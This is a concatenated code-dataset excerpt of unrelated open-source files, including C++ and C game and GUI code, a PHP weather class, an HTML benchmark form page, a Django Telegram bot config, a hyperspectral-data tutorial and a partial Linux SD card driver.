* EPITECH is computer science school in Paris - FRANCE -
* under the direction of flav <http://www.epita.fr/~flav>.
* and Jerome Landrieu.
*
* This file is part of Pavillon Noir.
*
* Pavillon Noir is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* Pavillon Noir is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*
* You should have received a copy of the GNU General Public License along with
* Pavillon Noir; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include <fxkeys.h>
#ifdef WIN32
# include <direct.h>
#else
# include <unistd.h>
#endif
#include <iostream>
#include <libxml/xmlreader.h>
/////////////////////////////////////
#include "pndefs.h"
#include "pnresources.h"
#include "pnxml.h"
/////////////////////////////////////
#include "pneditorcommon.hpp"
/////////////////////////////////////
#include "PNEditor.hpp"
#include "PNEDSkyboxPanel.hpp"
namespace PN { namespace EDITOR {
//////////////////////////////////////////////////////////////////////////
// Map
/*FXDEFMAP(PNEDSkyboxPanel) PNEDSkyboxPanelMap[]={
FXMAPFUNC(SEL_COMMAND,PNEDSkyboxPanel::ID_LISTBOX_SEL,PNEDSkyboxPanel::onCmdListBox),
FXMAPFUNC(SEL_COMMAND,PNEDSkyboxPanel::ID_ADD,PNEDSkyboxPanel::onCmdAdd),
FXMAPFUNC(SEL_COMMAND,PNEDSkyboxPanel::ID_DELETE,PNEDSkyboxPanel::onCmdDelete),
FXMAPFUNC(SEL_COMMAND,PNEDSkyboxPanel::ID_SAVE,PNEDSkyboxPanel::onCmdSave),
FXMAPFUNC(SEL_COMMAND,PNEDSkyboxPanel::ID_RESET,PNEDSkyboxPanel::onCmdReset),
FXMAPFUNC(SEL_COMMAND,PNEDSkyboxPanel::ID_ADDWP,PNEDSkyboxPanel::onAccept),
FXMAPFUNC(SEL_COMMAND,PNEDSkyboxPanel::ID_CANCEL,PNEDSkyboxPanel::onCancel),
FXMAPFUNC(SEL_COMMAND,PNEDSkyboxPanel::ID_ADDOBJECT,PNEDSkyboxPanel::onAddObject)
};*/
//////////////////////////////////////////////////////////////////////////
//FXIMPLEMENT(PNEDSkyboxPanel, FXVerticalFrame, PNEDSkyboxPanelMap, ARRAYNUMBER(PNEDSkyboxPanelMap))
FXIMPLEMENT(PNEDSkyboxPanel, FXVerticalFrame, NULL, 0)
PNEDSkyboxPanel::PNEDSkyboxPanel(FXComposite* p, EDITOR::PNEditor* ed)
: FXVerticalFrame(p, FRAME_THICK | FRAME_RAISED | LAYOUT_FILL_Y | LAYOUT_CENTER_X | LAYOUT_TOP | LAYOUT_LEFT,
0, 0, 0, 0,
10, 10, 10, 10)
{
_ed = ed;
_grid = new PNPropertiesGrid(this);
}
PNEDSkyboxPanel::~PNEDSkyboxPanel()
{
}
// fox ///////////////////////////////////////////////////////////////////
void
PNEDSkyboxPanel::create()
{
FXComposite::create();
_grid->create();
}
// object manipulation ////////////////////////////////////////////////////////////////////////
void
PNEDSkyboxPanel::setObject(PNConfigurableObject* object)
{
_grid->setObject(object);
}
PNConfigurableObject* PNEDSkyboxPanel::getObject()
{
return _grid->getObject();
}
// update ////////////////////////////////////////////////////////////////
void
PNEDSkyboxPanel::update()
{
updateGrid();
updateView();
}
//////////////////////////////////////////////////////////////////////////
void
PNEDSkyboxPanel::updateGrid()
{
_grid->update();
}
void
PNEDSkyboxPanel::updateView()
{
_ed->redraw();
}
//////////////////////////////////////////////////////////////////////////
};};
|
pngames/pavillon-noir
|
pavillonnoir/__src/pneditor/PNEDSkyboxPanel.cpp
|
C++
|
gpl-2.0
| 3,760
|
<?php
// namespace com\won\web;
class com_won_weather_Yahoo {
private $data;
private $yweather = 'http://xml.weather.yahoo.com/ns/rss/1.0';
private $geo = 'http://www.w3.org/2003/01/geo/wgs84_pos#';
public function __construct($woeid){
$url = 'http://weather.yahooapis.com/forecastrss?w=' . $woeid;
$rss = simplexml_load_file($url);
$this->data = $rss;
}
public function getData(){
return (string)$this->data->channel->item->description;
}
public function getTemp($unit='f'){
$s = $this->data->channel->item->children($this->yweather);
$t = $s->condition->attributes()->temp;
return $unit=='f'? $t : $this->ftoc($t);
}
public function getText(){
$s = $this->data->channel->item->children($this->yweather);
return $s->condition->attributes()->text;
}
private function ctof($c){
return round($c * (9/5) + 32);
}
private function ftoc($f){
return round(($f - 32) * (5/9));
}
}
?>
|
wonsong82/wonframework
|
system/com.won/weather/Yahoo.php
|
PHP
|
gpl-2.0
| 941
|
/**
* (c) 2015 psce4all project. All rights reserved.
* Released under GPL v2 license. Read LICENSE for more details.
*/
#pragma once
#include <vector>
namespace qt_translate
{
const char *ByteToHex(u8 b);
void ByteToHex(std::vector< u8 > &dst, const std::vector< u8 > &src, int mask = 0);
void ByteToChar(std::vector< u8 > &dst, const std::vector< u8 > &src, int mask = 0);
void ByteToOctal(std::vector< u8 > &dst, const std::vector< u8 > &src, int mask = 0);
void ByteToBinary(std::vector< u8 > &dst, const std::vector< u8 > &src, int mask = 0);
void ByteToHex(QString &dst, const u8 *src, int len, int mask = 0);
void ByteToChar(QString &dst, const u8 *src, int len, int mask = 0);
void ByteToOctal(QString &dst, const u8 *src, int len, int mask = 0);
void ByteToBinary(QString &dst, const u8 *src, int len, int mask = 0);
void BinaryToByte(std::vector< u8 > &dst, const std::vector< u8 > &src, int mask = 0);
void OctalToByte(std::vector< u8 > &dst, const std::vector< u8 > &src, int mask = 0);
void CharToByte(std::vector< u8 > &dst, const std::vector< u8 > &src, int mask = 0);
void CharToByte(std::vector< u8 > &dst, const QString &src, int mask = 0);
void HexToByte(std::vector< u8 > &dst, const std::vector< u8 > &src, int mask = 0);
void HexToByte(std::vector< u8 > &dst, const QString &src, int mask = 0);
};
|
psce4all/psce4all
|
pspe4all-dbg.qt5/qt_translate.h
|
C
|
gpl-2.0
| 1,389
|
#include <iostream>
using namespace std;
int BinarySearch(int *a, int length, int key)
{
int left = 0, right = length - 1, mid = (right - left) / 2 + left;
while (left <= right)
{
if (a[mid] < key) left = mid + 1;
else if (a[mid] > key) right = mid - 1;
else return mid;
mid = (right - left) / 2 + left;
}
return -1;
}
int main()
{
int a[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 9, 10, 10};
cout << "Result is :" << BinarySearch(a, sizeof(a) / sizeof(int), 1) << endl;
return 0;
}
|
thinkermao/Demo
|
ACM/CodeLibrary/BinarySearch.cpp
|
C++
|
gpl-2.0
| 515
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<script src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/js.cookie.js"></script>
<title>BenchmarkTest01060</title>
</head>
<body>
<form action="/benchmark/BenchmarkTest01060" method="POST" id="FormBenchmarkTest01060">
<div><label>Please explain your answer:</label></div>
<br/>
<div><textarea rows="4" cols="50" id="vectorArea" name="vectorArea" value=""></textarea></div>
<div><label>Any additional note for the reviewer:</label></div>
<div><input type="text" id="answer" name="answer"></input></div>
<br/>
<div><label>An AJAX request will be sent with a header named vector and value:</label>
<input type="text" id="vector" name="vector" value="whatever" class="safe"></input></div>
<div><input type="button" id="login-btn" value="Login" /></div>
</form>
<div id="ajax-form-msg1"></div>
<script>
$('.safe').keypress(function (e) {
if (e.which == 13) {
$('#login-btn').trigger('click');
return false;
}
});
$("#login-btn").click(function(){
var formData = $("#FormBenchmarkTest01060").serializeArray();
var URL = $("#FormBenchmarkTest01060").attr("action");
var text = $("#FormBenchmarkTest01060 input[id=vector]").val();
$.ajax({
url : URL,
headers: { 'vector': text },
type: "POST",
data : formData,
success: function(data, textStatus, jqXHR){
$("#ajax-form-msg1").html('<pre><code class="prettyprint">'+data+'</code></pre>');
},
error: function (jqXHR, textStatus, errorThrown){ alert(errorThrown);}
});
});
</script>
</body>
</html>
|
ganncamp/Benchmark
|
src/main/webapp/BenchmarkTest01060.html
|
HTML
|
gpl-2.0
| 1,776
|
SolidSimulator
==============
A simulator for solid objects.
|
simba518/SolidSimulator
|
README.md
|
Markdown
|
gpl-2.0
| 62
|
// Copyright (C) 2002-2010 Nikolaus Gebhardt
// This file is part of the "Irrlicht Engine".
// For conditions of distribution and use, see copyright notice in irrlicht.h
#ifndef __I_GUI_TAB_CONTROL_H_INCLUDED__
#define __I_GUI_TAB_CONTROL_H_INCLUDED__
#include "IGUIElement.h"
#include "SColor.h"
#include "IGUISkin.h"
namespace irr
{
namespace gui
{
//! A tab-page, onto which other gui elements could be added.
/** IGUITab refers to the page itself, not to the tab in the tabbar of an IGUITabControl. */
class IGUITab : public IGUIElement
{
public:
//! constructor
IGUITab(IGUIEnvironment* environment, IGUIElement* parent, s32 id, core::rect<s32> rectangle)
: IGUIElement(EGUIET_TAB, environment, parent, id, rectangle) {}
//! Returns number of tab if in tabcontrol.
/** Can be accessed later IGUITabControl::getTab() by this number. */
virtual s32 getNumber() const = 0;
//! sets if the tab should draw its background
virtual void setDrawBackground(bool draw=true) = 0;
//! sets the color of the background, if it should be drawn.
virtual void setBackgroundColor(video::SColor c) = 0;
//! returns true if the tab is drawing its background, false if not
virtual bool isDrawingBackground() const = 0;
//! returns the color of the background
virtual video::SColor getBackgroundColor() const = 0;
//! sets the color of the text
virtual void setTextColor(video::SColor c) = 0;
//! gets the color of the text
virtual video::SColor getTextColor() const = 0;
};
//! A standard tab control
class IGUITabControl : public IGUIElement
{
public:
//! constructor
IGUITabControl(IGUIEnvironment* environment, IGUIElement* parent, s32 id, core::rect<s32> rectangle)
: IGUIElement(EGUIET_TAB_CONTROL, environment, parent, id, rectangle) {}
//! Adds a tab
virtual IGUITab* addTab(const wchar_t* caption, s32 id=-1) = 0;
//! Returns amount of tabs in the tabcontrol
virtual s32 getTabCount() const = 0;
//! Returns a tab based on zero based index
/** \param idx: zero based index of tab. Is a value betwenn 0 and getTabcount()-1;
\return Returns pointer to the Tab. Returns 0 if no tab
is corresponding to this tab. */
virtual IGUITab* getTab(s32 idx) const = 0;
//! Brings a tab to front.
/** \param idx: number of the tab.
\return Returns true if successful. */
virtual bool setActiveTab(s32 idx) = 0;
//! Brings a tab to front.
/** \param tab: pointer to the tab.
\return Returns true if successful. */
virtual bool setActiveTab(IGUIElement *tab) = 0;
//! Returns which tab is currently active
virtual s32 getActiveTab() const = 0;
//! Set the height of the tabs
virtual void setTabHeight( s32 height ) = 0;
//! Get the height of the tabs
/** return Returns the height of the tabs */
virtual s32 getTabHeight() const = 0;
//! set the maximal width of a tab. Per default width is 0 which means "no width restriction".
virtual void setTabMaxWidth(s32 width ) = 0;
//! get the maximal width of a tab
virtual s32 getTabMaxWidth() const = 0;
//! Set the alignment of the tabs
/** Use EGUIA_UPPERLEFT or EGUIA_LOWERRIGHT */
virtual void setTabVerticalAlignment( gui::EGUI_ALIGNMENT alignment ) = 0;
//! Get the alignment of the tabs
/** return Returns the alignment of the tabs */
virtual gui::EGUI_ALIGNMENT getTabVerticalAlignment() const = 0;
//! Set the extra width added to tabs on each side of the text
virtual void setTabExtraWidth( s32 extraWidth ) = 0;
//! Get the extra width added to tabs on each side of the text
/** return Returns the extra width of the tabs */
virtual s32 getTabExtraWidth() const = 0;
};
} // end namespace gui
} // end namespace irr
#endif
|
Zim4ikUKR/PseuWoW
|
src/dep/include/irrlicht/IGUITabControl.h
|
C
|
gpl-2.0
| 3,719
|
namespace Server.Mobiles
{
[CorpseName( "a sewer rat corpse" )]
public class Sewerrat : BaseCreature
{
[Constructable]
public Sewerrat() : base( AIType.AI_Melee, FightMode.Closest, 10, 1, 0.2, 0.4 )
{
Name = "a sewer rat";
Body = 238;
BaseSoundID = 0xCC;
SetStr( 9 );
SetDex( 25 );
SetInt( 6, 10 );
SetHits( 6 );
SetMana( 0 );
SetDamage( 1, 2 );
SetDamageType( ResistanceType.Physical, 100 );
SetResistance( ResistanceType.Physical, 5, 10 );
SetResistance( ResistanceType.Poison, 15, 25 );
SetResistance( ResistanceType.Energy, 5, 10 );
SetSkill( SkillName.MagicResist, 5.0 );
SetSkill( SkillName.Tactics, 5.0 );
SetSkill( SkillName.Wrestling, 5.0 );
Fame = 300;
Karma = -300;
VirtualArmor = 6;
Tamable = true;
ControlSlots = 1;
MinTameSkill = -0.9;
}
public override void GenerateLoot()
{
AddLoot( LootPack.Poor );
}
public override int Meat{ get{ return 1; } }
public override FoodType FavoriteFood{ get{ return FoodType.Meat | FoodType.Eggs | FoodType.FruitsAndVegies; } }
public Sewerrat(Serial serial) : base(serial)
{
}
public override void Serialize(GenericWriter writer)
{
base.Serialize(writer);
writer.Write((int) 0);
}
public override void Deserialize(GenericReader reader)
{
base.Deserialize(reader);
int version = reader.ReadInt();
}
}
}
|
felladrin/last-wish
|
Scripts/Mobiles/Animals/Rodents/SewerRat.cs
|
C#
|
gpl-2.0
| 1,457
|
from django.apps import AppConfig
from threading import Timer
import sys
class TelegramBotConfig(AppConfig):
name = 'telegrambot'
verbose_name = "Telegram Bot"
def ready(self):
from django.conf import settings
if 'runserver' in sys.argv:
from telegrambot.wrapper import Bot
b = Bot(settings.TELEGRAM_BOT_TOKEN)
if not settings.TELEGRAM_USE_WEBHOOK:
b.post('setWebhook',{'url':''})
print("Telegram WebHook Disabled")
Timer(10,b.getUpdates).start()
if settings.TELEGRAM_USE_WEBHOOK:
from telegrambot.wrapper import Bot
b = Bot(settings.TELEGRAM_BOT_TOKEN)
b.setWebhook()
import telegrambot.signals
import telegrambot.connectors
|
meska/telegrambot
|
apps.py
|
Python
|
gpl-2.0
| 853
|
<?php
/**
* @package hubzero-cms
* @copyright Copyright (c) 2005-2020 The Regents of the University of California.
* @license http://opensource.org/licenses/MIT MIT
*/
// No direct access
defined('_HZEXEC_') or die();
/**
* GeoIPs plugin for geocode
*
* The GeoIPsProvider named geo_ips is able to geocode
* IPv4 addresses only. A valid api key is required.
*/
class plgGeocodeGeoips extends \Hubzero\Plugin\Plugin
{
/**
* Return a geocode provider
*
* @param string $context
* @param object $adapter
* @param boolean $ip
* @return object
*/
public function onGeocodeProvider($context, $adapter, $ip=false)
{
if ($context != 'geocode.locate')
{
return;
}
if (!$this->params->get('apiKey') || !$ip)
{
return;
}
return new \Geocoder\Provider\GeoIPsProvider(
$adapter,
$this->params->get('apiKey')
);
}
}
|
hubzero/hubzero-cms
|
core/plugins/geocode/geoips/geoips.php
|
PHP
|
gpl-2.0
| 873
|
---
layout: post
title: "About Hyperspectral Remote Sensing Data"
date: 2015-1-15
createdDate: 2014-1-10
lastModified: 2017-03-30
estimatedTime: 0.25 - 0.5 Hours
packagesLibraries:
authors: [Leah A. Wasser]
categories: [self-paced-tutorial]
tags: [hyperspectral-remote-sensing, HDF5, remote-sensing]
mainTag: hyperspectral-remote-sensing
tutorialSeries: [intro-hsi-r-series]
description: "Learn about the fundamental principles of hyperspectral remote sensing data."
code1:
image:
feature: codedpoints2.png
credit:
creditlink:
permalink: /HDF5/About-Hyperspectral-Remote-Sensing-Data/
comments: true
---
{% include _toc.html %}
<div id="objectives" markdown="1">
# Tutorial Objectives
After completing this tutorial, you will be able to:
* Define hyperspectral remote sensing.
* Explain the fundamental principles of hyperspectral remote sensing data.
* Describe the key attributes that are required to effectively work with
hyperspectral remote sensing data in tools like R or Python.
* Describe what a "band" is.
</div>
#### Mapping the Invisible
<iframe width="560" height="315" src="https://www.youtube.com/embed/3iaFzafWJQE?rel=0" frameborder="0" allowfullscreen></iframe>
## About Hyperspectral Remote Sensing Data
The electromagnetic spectrum is composed of thousands of bands representing
different types of light energy. Imaging spectrometers (instruments that collect
hyperspectral data) break the electromagnetic spectrum into groups of bands
that support classification of objects by their spectral properties on the
earth's surface. Hyperspectral data consists of many bands -- up to hundreds of
bands -- that cover the electromagnetic spectrum.
The NEON imaging spectrometer collects data within the 380nm to 2510nm portions
of the electromagnetic spectrum within bands that are approximately 5nm in
width. This results in a hyperspectral data cube that contains approximately
426 bands - which means big, big data.
## Key Metadata for Hyperspectral Data
### Bands and Wavelengths
A *band* represents a group of wavelengths. For example, the wavelength values
between 800nm and 805nm might be one band as captured by an imaging spectrometer.
The imaging spectrometer collects reflected light energy in a pixel for light
in that band. Often when you work with a multi or hyperspectral dataset, the
band information is reported as the center wavelength value. This value
represents the center point value of the wavelengths represented in that band.
Thus in a band spanning 800-805 nm, the center would be 802.5).
<figure>
<a href="{{ site.baseurl }}/images/hyperspectral/spectrumZoomed.png">
<img src="{{ site.baseurl }}/images/hyperspectral/spectrumZoomed.png"></a>
<figcaption>Imaging spectrometers collect reflected light information within
defined bands or regions of the electromagnetic spectrum. Source: National
Ecological Observatory Network (NEON) </figcaption>
</figure>
### Spectral Resolution
The spectral resolution of a dataset that has more than one band, refers to the
width of each band in the dataset. In the example above, a band was defined as
spanning 800-805nm. The width or spatial resolution of the band is thus 5
nanometers. To see an example of this, check out the band widths for the
<a href="http://landsat.usgs.gov/band_designations_landsat_satellites.php" target="_blank">Landsat sensors</a>.
### Full Width Half Max (FWHM)
The full width half max (FWHM) will also often be reported in a multi or
hyperspectral dataset. This value represents the spread of the band around that
center point.
<figure>
<a href="{{ site.baseurl }}/images/hyperspectral/FWHM2.png">
<img src="{{ site.baseurl }}/images/hyperspectral/FWHM2.png"></a>
<figcaption>The Full Width Half Max (FWHM) of a band relates to the distance
in nanometers between the band center and the edge of the band. In this
case, the FWHM for Band C is 10 nm.</figcaption>
</figure>
In the illustration above, the band that covers 800-805nm has a FWHM of 5 nm.
While a general spectral resolution of the sensor is often provided, not all
sensors create bands of uniform widths. For instance bands 1-9 of Landsat 8 are
listed below (Courtesy of <a href="http://landsat.usgs.gov" target="_blank">USGS</a>:
| Band | Wavelength range (microns) | Spatial Resolution (m) | Spectral Width (microns)|
|-------------------------------------|------------------|--------------------|----------------|
| Band 1 - Coastal aerosol | 0.43 - 0.45 | 30 | 0.02 |
| Band 2 - Blue | 0.45 - 0.51 | 30 | 0.06 |
| Band 3 - Green | 0.53 - 0.59 | 30 | 0.06 |
| Band 4 - Red | 0.64 - 0.67 | 30 | 0.03 |
| Band 5 - Near Infrared (NIR) | 0.85 - 0.88 | 30 | 0.03 |
| Band 6 - SWIR 1 | 1.57 - 1.65 | 30 | 0.08 |
| Band 7 - SWIR 2 | 2.11 - 2.29 | 30 | 0.18 |
| Band 8 - Panchromatic | 0.50 - 0.68 | 15 | 0.18 |
| Band 9 - Cirrus | 1.36 - 1.38 | 30 | 0.02 |
|
NEONInc/NEON-Data-Skills
|
_posts/HYPERSPECTRAL/2014-11-04-About-Hyperspectral-Remote-Sensing-Data.md
|
Markdown
|
gpl-2.0
| 4,931
|
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="utf-8">
<title>About All!!! - Python</title>
<link rel="stylesheet" href="/theme/css/main.css">
<!--[if IE]>
<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
</head>
<body id="index" class="home">
<header id="banner" class="body">
<h1><a href="/">About All!!! </a></h1>
<nav><ul>
<li ><a href="/category/web.html">Web</a></li>
</ul></nav>
</header><!-- /#banner -->
<aside id="featured" class="body">
<article>
<h1 class="entry-title"><a href="/pelican.html">Свой блог на GitHub или Как приручить пеликана</a></h1>
<footer class="post-info">
<abbr class="published" title="2013-09-08T16:30:00">
Вс 08 Сентябрь 2013
</abbr>
<address class="vcard author">
By <a class="url fn" href="/author/dimon.html">dimon</a>
</address>
<p>In <a href="/category/web.html">Web</a>. </p>
<p>tags: <a href="/tag/python.html">Python</a><a href="/tag/blog.html">Blog</a></p>
</footer><!-- /.post-info --> </article>
<p class="paginator">
Page 1 / 1
</p>
</aside><!-- /#featured -->
</ol><!-- /#posts-list -->
</section><!-- /#content -->
<section id="extras" class="body">
<div class="blogroll">
<h2>blogroll</h2>
<ul>
<li><a href="http://getpelican.com/">Pelican</a></li>
<li><a href="http://python.org/">Python.org</a></li>
<li><a href="http://jinja.pocoo.org/">Jinja2</a></li>
<li><a href="#">You can modify those links in your config file</a></li>
</ul>
</div><!-- /.blogroll -->
<div class="social">
<h2>social</h2>
<ul>
<li><a href="/None" type="application/atom+xml" rel="alternate">atom feed</a></li>
<li><a href="#">You can add links in your config file</a></li>
<li><a href="#">Another social link</a></li>
</ul>
</div><!-- /.social -->
</section><!-- /#extras -->
<footer id="contentinfo" class="body">
<address id="about" class="vcard body">
Proudly powered by <a href="http://getpelican.com/">Pelican</a>, which takes great advantage of <a href="http://python.org">Python</a>.
</address><!-- /#about -->
<p>The theme is by <a href="http://coding.smashingmagazine.com/2009/08/04/designing-a-html-5-layout-from-scratch/">Smashing Magazine</a>, thanks!</p>
</footer><!-- /#contentinfo -->
</body>
</html>
|
zikrach/zikrach.github.io
|
output/tag/python.html
|
HTML
|
gpl-2.0
| 3,609
|
/*
* linux/drivers/mmc/sd.c
*
* Copyright (C) 2003-2004 Russell King, All Rights Reserved.
* SD support Copyright (C) 2004 Ian Molton, All Rights Reserved.
* Copyright (C) 2005-2007 Pierre Ossman, All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/err.h>
#include <linux/mmc/host.h>
#include <linux/mmc/card.h>
#include <linux/mmc/mmc.h>
#include <linux/mmc/sd.h>
#include "core.h"
#include "sysfs.h"
#include "mmc_ops.h"
#include "sd_ops.h"
#include "core.h"
static const unsigned int tran_exp[] = {
10000, 100000, 1000000, 10000000,
0, 0, 0, 0
};
static const unsigned char tran_mant[] = {
0, 10, 12, 13, 15, 20, 25, 30,
35, 40, 45, 50, 55, 60, 70, 80,
};
static const unsigned int tacc_exp[] = {
1, 10, 100, 1000, 10000, 100000, 1000000, 10000000,
};
static const unsigned int tacc_mant[] = {
0, 10, 12, 13, 15, 20, 25, 30,
35, 40, 45, 50, 55, 60, 70, 80,
};
#define UNSTUFF_BITS(resp,start,size) \
({ \
const int __size = size; \
const u32 __mask = (__size < 32 ? 1 << __size : 0) - 1; \
const int __off = 3 - ((start) / 32); \
const int __shft = (start) & 31; \
u32 __res; \
\
__res = resp[__off] >> __shft; \
if (__size + __shft > 32) \
__res |= resp[__off-1] << ((32 - __shft) % 32); \
__res & __mask; \
})
/*
* Given the decoded CSD structure, decode the raw CID to our CID structure.
*/
static void mmc_decode_cid(struct mmc_card *card)
{
u32 *resp = card->raw_cid;
memset(&card->cid, 0, sizeof(struct mmc_cid));
/*
* SD doesn't currently have a version field so we will
* have to assume we can parse this.
*/
card->cid.manfid = UNSTUFF_BITS(resp, 120, 8);
card->cid.oemid = UNSTUFF_BITS(resp, 104, 16);
card->cid.prod_name[0] = UNSTUFF_BITS(resp, 96, 8);
card->cid.prod_name[1] = UNSTUFF_BITS(resp, 88, 8);
card->cid.prod_name[2] = UNSTUFF_BITS(resp, 80, 8);
card->cid.prod_name[3] = UNSTUFF_BITS(resp, 72, 8);
card->cid.prod_name[4] = UNSTUFF_BITS(resp, 64, 8);
card->cid.hwrev = UNSTUFF_BITS(resp, 60, 4);
card->cid.fwrev = UNSTUFF_BITS(resp, 56, 4);
card->cid.serial = UNSTUFF_BITS(resp, 24, 32);
card->cid.year = UNSTUFF_BITS(resp, 12, 8);
card->cid.month = UNSTUFF_BITS(resp, 8, 4);
card->cid.year += 2000; /* SD cards year offset */
}
/*
* Given a 128-bit response, decode to our card CSD structure.
*/
static int mmc_decode_csd(struct mmc_card *card)
{
struct mmc_csd *csd = &card->csd;
unsigned int e, m, csd_struct;
u32 *resp = card->raw_csd;
csd_struct = UNSTUFF_BITS(resp, 126, 2);
switch (csd_struct) {
case 0:
m = UNSTUFF_BITS(resp, 115, 4);
e = UNSTUFF_BITS(resp, 112, 3);
csd->tacc_ns = (tacc_exp[e] * tacc_mant[m] + 9) / 10;
csd->tacc_clks = UNSTUFF_BITS(resp, 104, 8) * 100;
m = UNSTUFF_BITS(resp, 99, 4);
e = UNSTUFF_BITS(resp, 96, 3);
csd->max_dtr = tran_exp[e] * tran_mant[m];
csd->cmdclass = UNSTUFF_BITS(resp, 84, 12);
e = UNSTUFF_BITS(resp, 47, 3);
m = UNSTUFF_BITS(resp, 62, 12);
csd->capacity = (1 + m) << (e + 2);
csd->read_blkbits = UNSTUFF_BITS(resp, 80, 4);
csd->read_partial = UNSTUFF_BITS(resp, 79, 1);
csd->write_misalign = UNSTUFF_BITS(resp, 78, 1);
csd->read_misalign = UNSTUFF_BITS(resp, 77, 1);
csd->r2w_factor = UNSTUFF_BITS(resp, 26, 3);
csd->write_blkbits = UNSTUFF_BITS(resp, 22, 4);
csd->write_partial = UNSTUFF_BITS(resp, 21, 1);
break;
case 1:
/*
* This is a block-addressed SDHC card. Most
* interesting fields are unused and have fixed
* values. To avoid getting tripped by buggy cards,
* we assume those fixed values ourselves.
*/
mmc_card_set_blockaddr(card);
csd->tacc_ns = 0; /* Unused */
csd->tacc_clks = 0; /* Unused */
m = UNSTUFF_BITS(resp, 99, 4);
e = UNSTUFF_BITS(resp, 96, 3);
csd->max_dtr = tran_exp[e] * tran_mant[m];
csd->cmdclass = UNSTUFF_BITS(resp, 84, 12);
m = UNSTUFF_BITS(resp, 48, 22);
csd->capacity = (1 + m) << 10;
csd->read_blkbits = 9;
csd->read_partial = 0;
csd->write_misalign = 0;
csd->read_misalign = 0;
csd->r2w_factor = 4; /* Unused */
csd->write_blkbits = 9;
csd->write_partial = 0;
break;
default:
printk("%s: unrecognised CSD structure version %d\n",
mmc_hostname(card->host), csd_struct);
return -EINVAL;
}
return 0;
}
/*
* Given a 64-bit response, decode to our card SCR structure.
*/
static int mmc_decode_scr(struct mmc_card *card)
{
struct sd_scr *scr = &card->scr;
unsigned int scr_struct;
u32 resp[4];
BUG_ON(!mmc_card_sd(card));
resp[3] = card->raw_scr[1];
resp[2] = card->raw_scr[0];
scr_struct = UNSTUFF_BITS(resp, 60, 4);
if (scr_struct != 0) {
printk("%s: unrecognised SCR structure version %d\n",
mmc_hostname(card->host), scr_struct);
return -EINVAL;
}
scr->sda_vsn = UNSTUFF_BITS(resp, 56, 4);
scr->bus_widths = UNSTUFF_BITS(resp, 48, 4);
return 0;
}
/*
* Fetches and decodes switch information
*/
static int mmc_read_switch(struct mmc_card *card)
{
int err;
u8 *status;
if (card->scr.sda_vsn < SCR_SPEC_VER_1)
return MMC_ERR_NONE;
if (!(card->csd.cmdclass & CCC_SWITCH)) {
printk(KERN_WARNING "%s: card lacks mandatory switch "
"function, performance might suffer.\n",
mmc_hostname(card->host));
return MMC_ERR_NONE;
}
err = MMC_ERR_FAILED;
status = kmalloc(64, GFP_KERNEL);
if (!status) {
printk("%s: could not allocate a buffer for switch "
"capabilities.\n",
mmc_hostname(card->host));
return err;
}
err = mmc_sd_switch(card, 0, 0, 1, status);
if (err != MMC_ERR_NONE) {
printk(KERN_WARNING "%s: problem reading switch "
"capabilities, performance might suffer.\n",
mmc_hostname(card->host));
err = MMC_ERR_NONE;
goto out;
}
if (status[13] & 0x02)
card->sw_caps.hs_max_dtr = 50000000;
out:
kfree(status);
return err;
}
/*
* Test if the card supports high-speed mode and, if so, switch to it.
*/
static int mmc_switch_hs(struct mmc_card *card)
{
int err;
u8 *status;
if (card->scr.sda_vsn < SCR_SPEC_VER_1)
return MMC_ERR_NONE;
if (!(card->csd.cmdclass & CCC_SWITCH))
return MMC_ERR_NONE;
if (!(card->host->caps & MMC_CAP_SD_HIGHSPEED))
return MMC_ERR_NONE;
if (card->sw_caps.hs_max_dtr == 0)
return MMC_ERR_NONE;
err = MMC_ERR_FAILED;
status = kmalloc(64, GFP_KERNEL);
if (!status) {
printk("%s: could not allocate a buffer for switch "
"capabilities.\n",
mmc_hostname(card->host));
return err;
}
err = mmc_sd_switch(card, 1, 0, 1, status);
if (err != MMC_ERR_NONE)
goto out;
if ((status[16] & 0xF) != 1) {
printk(KERN_WARNING "%s: Problem switching card "
"into high-speed mode!\n",
mmc_hostname(card->host));
} else {
mmc_card_set_highspeed(card);
mmc_set_timing(card->host, MMC_TIMING_SD_HS);
}
out:
kfree(status);
return err;
}
/*
* Handle the detection and initialisation of a card.
*
* In the case of a resume, "curcard" will contain the card
* we're trying to reinitialise.
*/
static int mmc_sd_init_card(struct mmc_host *host, u32 ocr,
struct mmc_card *oldcard)
{
struct mmc_card *card;
int err;
u32 cid[4];
unsigned int max_dtr;
BUG_ON(!host);
BUG_ON(!host->claimed);
/*
* Since we're changing the OCR value, we seem to
* need to tell some cards to go back to the idle
* state. We wait 1ms to give cards time to
* respond.
*/
mmc_go_idle(host);
/*
* If SD_SEND_IF_COND indicates an SD 2.0
* compliant card and we should set bit 30
* of the ocr to indicate that we can handle
* block-addressed SDHC cards.
*/
err = mmc_send_if_cond(host, ocr);
if (err == MMC_ERR_NONE)
ocr |= 1 << 30;
err = mmc_send_app_op_cond(host, ocr, NULL);
if (err != MMC_ERR_NONE)
goto err;
/*
* Fetch CID from card.
*/
err = mmc_all_send_cid(host, cid);
if (err != MMC_ERR_NONE)
goto err;
if (oldcard) {
if (memcmp(cid, oldcard->raw_cid, sizeof(cid)) != 0)
goto err;
card = oldcard;
} else {
/*
* Allocate card structure.
*/
card = mmc_alloc_card(host);
if (IS_ERR(card))
goto err;
card->type = MMC_TYPE_SD;
memcpy(card->raw_cid, cid, sizeof(card->raw_cid));
}
/*
* Set card RCA.
*/
err = mmc_send_relative_addr(host, &card->rca);
if (err != MMC_ERR_NONE)
goto free_card;
mmc_set_bus_mode(host, MMC_BUSMODE_PUSHPULL);
if (!oldcard) {
/*
* Fetch CSD from card.
*/
